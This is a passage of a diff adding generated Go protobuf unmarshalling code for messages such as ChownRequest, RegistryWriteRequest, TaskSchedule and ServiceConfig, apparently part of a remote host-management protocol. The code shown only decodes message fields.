UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: ChownRequest: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: ChownRequest: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Path", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Path = stringValue + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Uid", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Uid = stringValue + iNdEx = postIndex + case 3: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Gid", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Gid = stringValue + iNdEx = postIndex + case 4: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Recursive", wireType) + } + var v int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + v = int(_v) + if err != nil { + return err + } + m.Recursive = bool(v != 0) + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *IfconfigResponse) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: IfconfigResponse: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: IfconfigResponse: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field NetInterfaces", wireType) + } + var msglen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + msglen = int(_v) + if err != nil { + return err + } + if msglen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.NetInterfaces = append(m.NetInterfaces, &NetInterface{}) + if err := m.NetInterfaces[len(m.NetInterfaces)-1].UnmarshalVTUnsafe(dAtA[iNdEx:postIndex]); err != nil { + return err + } + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *RegistryRequest) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: RegistryRequest: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: RegistryRequest: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Type", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Type = stringValue + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Registry", wireType) + } + var msglen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + msglen = int(_v) + if err != nil { + return err + } + if msglen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + if m.Registry == nil { + m.Registry = &Registry{} + } + if err := m.Registry.UnmarshalVTUnsafe(dAtA[iNdEx:postIndex]); err != nil { + return err + } + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *Registry) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: Registry: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: Registry: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Hive", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Hive = stringValue + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Path", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Path = stringValue + iNdEx = postIndex + case 3: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Key", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Key = stringValue + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *RegistryWriteRequest) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: RegistryWriteRequest: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: RegistryWriteRequest: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Hive", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Hive = stringValue + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Path", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Path = stringValue + iNdEx = postIndex + case 3: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Key", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Key = stringValue + iNdEx = postIndex + case 5: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field StringValue", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.StringValue = stringValue + iNdEx = postIndex + case 6: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field ByteValue", wireType) + } + var byteLen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + byteLen = int(_v) + if err != nil { + return err + } + if byteLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + byteLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.ByteValue = dAtA[iNdEx:postIndex] + iNdEx = postIndex + case 7: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field DwordValue", wireType) + } + m.DwordValue = 0 + m.DwordValue, iNdEx, err = protobuf_go_lite.DecodeVarintUint32(dAtA, iNdEx) + if err != nil { + return err + } + case 8: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field QwordValue", wireType) + } + m.QwordValue = 0 + m.QwordValue, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + case 10: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Regtype", wireType) + } + m.Regtype = 0 + m.Regtype, iNdEx, err = protobuf_go_lite.DecodeVarintUint32(dAtA, iNdEx) + if err != nil { + return err + } + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *TaskScheduleRequest) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: TaskScheduleRequest: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: TaskScheduleRequest: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Type", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Type = stringValue + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Taskschd", wireType) + } + var msglen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + msglen = int(_v) + if err != nil { + return err + } + if msglen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + if m.Taskschd == nil { + m.Taskschd = &TaskSchedule{} + } + if err := m.Taskschd.UnmarshalVTUnsafe(dAtA[iNdEx:postIndex]); err != nil { + return err + } + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *TaskSchedule) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: TaskSchedule: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: TaskSchedule: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Name", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Name = stringValue + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Path", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Path = stringValue + iNdEx = postIndex + case 3: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field ExecutablePath", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.ExecutablePath = stringValue + iNdEx = postIndex + case 4: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field TriggerType", wireType) + } + m.TriggerType = 0 + m.TriggerType, iNdEx, err = protobuf_go_lite.DecodeVarintUint32(dAtA, iNdEx) + if err != nil { + return err + } + case 5: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field StartBoundary", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.StartBoundary = stringValue + iNdEx = postIndex + case 6: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Description", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Description = stringValue + iNdEx = postIndex + case 7: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Enabled", wireType) + } + var v int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + v = int(_v) + if err != nil { + return err + } + m.Enabled = bool(v != 0) + case 8: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field LastRunTime", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.LastRunTime = stringValue + iNdEx = postIndex + case 9: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field NextRunTime", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.NextRunTime = stringValue + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *TaskSchedulesResponse) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: TaskSchedulesResponse: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: TaskSchedulesResponse: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Schedules", wireType) + } + var msglen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + msglen = int(_v) + if err != nil { + return err + } + if msglen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Schedules = append(m.Schedules, &TaskSchedule{}) + if err := m.Schedules[len(m.Schedules)-1].UnmarshalVTUnsafe(dAtA[iNdEx:postIndex]); err != nil { + return err + } + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *ServiceRequest) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: ServiceRequest: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: ServiceRequest: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Type", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Type = stringValue + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Service", wireType) + } + var msglen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + msglen = int(_v) + if err != nil { + return err + } + if msglen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + if m.Service == nil { + m.Service = &ServiceConfig{} + } + if err := m.Service.UnmarshalVTUnsafe(dAtA[iNdEx:postIndex]); err != nil { + return err + } + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *ServiceConfig) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: ServiceConfig: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: ServiceConfig: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Name", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Name = stringValue + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field DisplayName", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.DisplayName = stringValue + iNdEx = postIndex + case 3: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field ExecutablePath", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = 